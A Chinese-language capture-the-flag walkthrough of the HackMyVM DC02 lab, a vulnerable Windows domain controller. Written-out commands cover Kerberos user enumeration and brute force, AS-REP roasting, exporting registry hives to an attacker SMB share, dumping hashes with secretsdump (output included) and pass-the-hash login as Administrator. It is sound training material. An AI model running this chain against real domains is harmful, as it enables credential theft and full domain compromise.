中途可能会切换好几次IP,但是都是同一个靶机,我自己网络不稳定,或者机器环境有问题,重装导致的,不用管IP的变化
12.1 端口扫描
这里使用nmap进行全端口扫描,识别目标开放的服务和操作系统信息
nmap -sS -p- -T4 192.168.219.240 -A
端口53:DNS服务,用于域名解析
端口88:Kerberos认证,域用户登录验证
端口139/445:SMB文件共享服务
端口389:LDAP目录服务,存储用户信息
端口636:安全的LDAP
端口5985:WinRM远程管理
这些端口组合表明这是一个域控制器!
![图片[1]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024205318264.png?imageSlim)
12.2 enum4linux枚举
使用enum4linux-ng通过 LDAP/SMB/RPC 等协议枚举目标系统信息(是enum4linux的升级版,现在有社区维护,老版已不再维护)
enum4linux-ng -A 192.168.219.240 -C
工具作用:通过 SMB/LDAP/RPC 等协议自动枚举 Windows 域环境信息
![图片[2]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024134307640.png?imageSlim)
12.3 尝试使用匿名登录
目的:检查是否允许匿名访问SMB共享 结果:需要认证,匿名访问被拒绝
smbclient -L //192.168.219.227/ -N
![图片[3]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024151010042.png?imageSlim)
12.4 kerberos 用户名枚举
字典使用的是seclist,总共发现了3个用户,admin / zximena448 / charlie
kerbrute userenum -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt --dc 192.168.219.227
kerbrute:一款用于Kerberos用户枚举和密码爆破的工具。
userenum:用户枚举模式。
-d SOUPEDECODE.LOCAL:指定域名。
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt:用户名字典路径。
--dc 192.168.219.240:指定域控制器的IP地址。
![图片[4]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024181257856.png?imageSlim)
12.5 爆破 kerberos 协议
爆破kerberos 协议的时候,需要同步时间(Kerberos要求时间偏差在5分钟内)
ntpdate 192.168.219.227 # 将本地时间与目标域控制器同步
kerbrute bruteuser --dc 192.168.219.227 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt charlie -v
# 参数解析
bruteuser:针对单个用户进行密码爆破
--dc 192.168.219.240:域控制器IP
-d SOUPEDECODE.LOCAL:域名
/usr/share/...usernames-dup.txt:密码字典(这里误用了用户名字典,应该用密码字典)
charlie:目标用户名
-v:详细输出模式
![图片[5]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024154243268.png?imageSlim)
如果不同步时间就会出现如下结果
为什么需要同步时间?Kerberos 认证流程中,客户端向 KDC(域控制器)请求票据(如 AS-REQ)时,会在请求中包含当前时间戳,KDC 收到请求后会:检查客户端时间戳与自身系统时间的偏差是否在允许范围内(默认通常为 5 分钟,由域策略
Maximum tolerance for computer clock synchronization控制)。若偏差超过阈值,KDC 会直接拒绝请求,返回错误KDC_ERR_CLOCK_SKEW_TOO_GREAT(时钟偏差过大)。
![图片[6]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024154019074.png?imageSlim)
有了账号密码charlie/charlie,登录smb服务
![图片[7]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024154945507.png?imageSlim)
使用evil-winrm远程连接服务器(类似于3389端口的rdp远程连接),这个服务运行在5985端口
evil-winrm -i 192.168.219.227 -u charlie -p charlie
![图片[8]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024155917167.png?imageSlim)
12.6 查询域内SPN关联用户
有了域内的账号密码,再来看看SPN,查询域内所有关联了 SPN 的用户,用来获取他们的凭据,没有结果
impacket-GetUserSPNs -request -dc-ip 192.168.219.227 SOUPEDECODE.LOCAL/charlie:charlie
![图片[9]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024164248832.png?imageSlim)
12.7 枚举域内用户SID
再由于目标域不支持匿名登录(包括smb)所以不能使用-no-pass参数来枚举这个域的SID
核心作用是通过 SMB/LDAP 协议查询目标系统的SID SMB/LDAP 及其账号和组信息
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240 -no-pass
![图片[10]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024200050555.png?imageSlim)
SID遍历,枚举域内用户,使用账号密码charlie:charlie(看看charlie这个用户有没有权限查看SID)
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240
![图片[11]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024195807440.png?imageSlim)
正常枚举域内用户信息,把它归纳成一个字典
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240 > user
# 将枚举出来的用户都筛选出来,去掉多余字符
grep "SidTypeUser" /data/demo/user | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt
![图片[12]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024200824839.png?imageSlim)
12.8 获取不需要预认证用户的AS-REP哈希
正常情况下,银行(KDC)会强制要求你提供 “加密时间戳”(预认证)才给你凭证 —— 但如果某个用户的 “银行卡设置” 里,把 “必须要预认证” 这个选项关了(域用户未启用 Kerberos 预认证),会发生什么?
→ 你不用提供 “加密时间戳”,只要报出 “身份证号”(用户名),银行就直接把 “加密的取钱凭证”(AS-REP 票据)给你了!
→ 拿到这张凭证(AS-REP 哈希)后,你就可以拿回家 “慢慢试密码”(用 hashcat/john 爆破)—— 反正凭证是加密的,试错不会被银行发现(不会触发账号锁定)。
这就是为什么要找 “不需要预认证的用户”:能无风险、无凭证地拿到他的 AS-REP 哈希,进而破解出明文密码。
impacket-GetNPUsers -dc-ip 192.168.219.240 soupedecode.local/ -usersfile target_users.txt > hash
![图片[13]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024201050292.png?imageSlim)
12.9 AS-REP哈希爆破
使用hashcat爆破不需要预认证的AS-REP哈希结果
hashcat -a 0 -m 18200 res.txt /usr/share/wordlists/rockyou.txt
![图片[14]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024183827493.png?imageSlim)
提示,设备 #1:此次攻击所需的可分配设备内存不足,切换爆破工具john
![图片[15]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024184448941.png?imageSlim)
得到密码internet,那么配合前面的账号密码就是zximena448 :internet ,再次远程连接
evil-winrm -i 192.168.219.240 -u zximena448 -p internet
![图片[16]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024190456199.png?imageSlim)
使用smbclient连接smb服务,查看有什么东西
smbclient -L //192.168.219.240/ -U zximena448
![图片[17]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024190515226.png?imageSlim)
使用这个用户连接C$这个smb共享文件夹
![图片[18]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024190639919.png?imageSlim)
再连接ADMIN$这个共享文件夹,也能连接(不过没有发现什么可用的文件)
![图片[19]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024190646750.png?imageSlim)
在C$共享文件夹中找到flag
![图片[20]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024192113529.png?imageSlim)
用 zximena448 账号查询域内用户信息,获取高权限账号(如 Administrator)的线索。
12.10 收集 LDAP 信息
目的:获取域内用户列表、权限分组(如 Domain Admins)、账号状态(启用 / 禁用),锁定高价值目标(如 Administrator)。
必要性:没有域内用户信息,后续攻击会盲目尝试,效率极低。
前提:拥有至少一个有效的域内用户凭证(如 zximena448:internet),且域控的 LDAP 端口(389)开放。
原理:域内普通用户默认有权限查询 LDAP 目录的基础信息。
命令如下
ldapsearch -x -H ldap://192.168.219.240 -D "zximena448@SOUPEDECODE.LOCAL" -w 'internet' -b 'DC=SOUPEDECODE,DC=LOCAL' "sAMAccountName=zximena448" memberOf > ldap_result.txt
![图片[21]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251025211415485.png?imageSlim)
-x |
使用简单认证(非 SASL 认证),适合用用户名 / 密码登录。 |
|---|---|
-H ldap://192.168.215.25 |
指定 LDAP 服务器地址(这里是域控的 IP)。 |
-D "zximena448@SOUPEDECODE.LOCAL" |
绑定的用户 DN(用户名),即使用 zximena448 的凭证登录 LDAP。 |
-w 'jesuschrist' |
绑定用户的密码(zximena448 的密码)。 |
-b 'DC=SOUPEDECODE,DC=LOCAL' |
查询的基准 DN(域的根目录),即从整个域范围查询。 |
"sAMAccountName=zximena448" |
过滤条件:只查询 sAMAccountName 为 zximena448 的用户(精准定位自身)。 |
memberOf |
只返回该用户的 memberOf 字段(即所属的组)。 |
> ldap_result.txt |
将结果输出到文件,方便查看。 |
发现zximena448 属于 Backup Operators 组,Backup Operators 是 Windows 域内置的特权组,默认被赋予了 “备份 / 恢复域控系统数据” 的核心权限,而 “备份数据” 的权限恰好覆盖了域控的敏感文件(如存储账号哈希的 NTDS.dit、注册表 SAM/SYSTEM 等)。
攻击方式:
在 Kali 上启动 SMB 服务,用于接收从目标机器导出的敏感文件(如注册表备份)。
impacket-smbserver -smb2support "share" .
前提:Kali 的 SMB 端口(445)未被占用,且目标域控能访问 Kali 的 IP(网络连通性)。
原理:通过 SMB 协议实现文件共享,方便接收从目标导出的备份文件。
![图片[22]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024194044747.png?imageSlim)
12.11 导出注册表备份文件
通过 impacket-reg 从域控(192.168.219.240)导出 SYSTEM/SAM/SECURITY 注册表文件(含加密的凭证信息)。
impacket-reg "soupedecode.local"/"zximena448":"internet"@"192.168.219.240" backup -o '\\192.168.219.37\share'
前提:拥有的域用户(zximena448)需具备读取域控注册表的权限(普通用户可能无此权限,此处可能因目标配置宽松成功)。
原理:通过远程注册表服务导出系统关键注册表文件。
![图片[23]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024194031351.png?imageSlim)
此时smb服务的回显,备份文件,从域控服务器中传过来成功
搭建 SMB 共享 + 导出注册表备份
目的:SYSTEM/SAM/SECURITY 注册表文件存储了系统加密的凭证(用户哈希、机器账户哈希等),导出后可离线解密。
必要性:直接在域控上提取哈希可能触发告警,通过备份文件离线处理更隐蔽。
![图片[24]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024194057212.png?imageSlim)
就能看到开启smb共享文件夹的路径下面多了几个文件
![图片[25]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024194415552.png?imageSlim)
12.12 用 secretsdump.py 解密备份文件
提取本地管理员哈希和机器账户(DC01$)哈希。
目的:从备份文件中提取可直接用于攻击的哈希值(如 DC01$ 机器账户哈希、本地管理员哈希)。
必要性:原始注册表文件是加密的,必须用 secretsdump 结合 bootKey 解密才能得到可用的哈希。
python /usr/share/doc/python3-impacket/examples/secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local
![图片[26]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024194359305.png?imageSlim)
前提:获取 SYSTEM/SAM/SECURITY 备份文件(本地解密),或拥有目标机器的管理员权限 / 机器账户哈希(远程导出)。
原理:利用 Windows 的加密机制,通过 bootKey 解密哈希存储区。
┌──(root㉿kali)-[/data/demo]
└─# python /usr/share/doc/python3-impacket/examples/secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:45820dc9be5c067950d71e306d3d14084a9a8a3f8e99d7c1f6074080bec85f7c2645011e654397553bc7cad19277e361caaee722709bdaf3bbcbd9f2d0c73b8cf27651387c664ede1f3f7d6845f7d14293fdbcda34eb89d5c665de89860a23833a531ee43e6841b586896e6dbef6ac4e16196af3c6e2070ca148d032697b02bca95820d079296377ba4df3c4201dd419d89b9357bf470139b53d31761452e0f94ae9273a16c3d43ae2404740b5ac085992a092187c1fc6a59d5edb24e8cd8aae2575639cadc4cc18c7c5e5e07f5bf06a6154bb92a1dbcbf00f5b6b3171cd5df73121e0afca158f50df3f3db64c9dad11
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:4408da87fddde5ecdffe27d1d8255bc1
[*] DPAPI_SYSTEM
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM
0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../...
0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAuU>...!.
0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ...w......D|..c.
0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Cleaning up...
12.13 哈希传递攻击(PTH)
目的:无需明文密码,直接用哈希值认证并横向移动到域控(DC01$ 是域控的机器账户,默认有高权限)。
必要性:多数情况下无法获取明文密码,PTH 是域内横向的核心手段。
前提:目标开启 SMB 服务(445 端口),且未禁用 NTLM 认证(默认启用)。
原理:通过 NTLM 协议,用哈希替代明文密码完成认证。
用 nxc 验证 DC01$ 哈希的有效性,确认可横向到域控。
nxc smb 192.168.219.240 -u target_users.txt -H 4408da87fddde5ecdffe27d1d8255bc1
![图片[27]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024202518610.png?imageSlim)
用 DC01$ 哈希通过 secretsdump.py 导出域内所有用户哈希(包括 Administrator)。
通过 DC01$ 权限导出域内所有用户哈希(包括 Administrator),最终用管理员权限登录域控,实现对整个域的控制。
python /usr/share/doc/python3-impacket/examples/secretsdump.py soupedecode.local/'DC01$'@192.168.219.240 -hashes :4408da87fddde5ecdffe27d1d8255bc1
![图片[28]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024203127596.png?imageSlim)
12.14 完成渗透
用 Administrator 哈希通过 evil-winrm 登录域控,完成渗透。
前提:域控开启 WinRM 服务(5985/5986 端口),且拥有管理员级别的哈希或明文密码。
原理:通过 WinRM 协议远程执行命令,类似 SSH 但针对 Windows。
evil-winrm -i 192.168.219.240 -u Administrator -H 8982babd4da89d33210779a6c5b078bd
![图片[29]-HackMyVm-DC02 :中等-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/image-20251024203428369.png?imageSlim)
12.15 总结
从用户枚举到密码爆破获取初始凭证,通过AS-REP Roasting获取更高权限账户,利用注册表备份提取机器账户哈希,最终通过哈希传递攻击实现域控完全控制。往期推荐
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
新版BurpSuite v2025.6.3汉化版,附激活教程
重大更新!FeatherScan v4.5 内网 linux 信息收集,提权一键梭哈神器
FeatherScan v4.0 – 一款Linux内网全自动信息收集工具
近400个渗透测试常用命令,信息收集、web、内网、隐藏通信、域渗透等等
内网渗透必备,microsocks,一个轻量级的socks代理工具
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏
【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!
【oscp】vulnerable_docker,三种代理方法打入内网
【内网渗透】CobaltStrike与MSF联动互相上线的方式
内网渗透必备,microsocks,一个轻量级的socks代理工具
【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!
DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!















暂无评论内容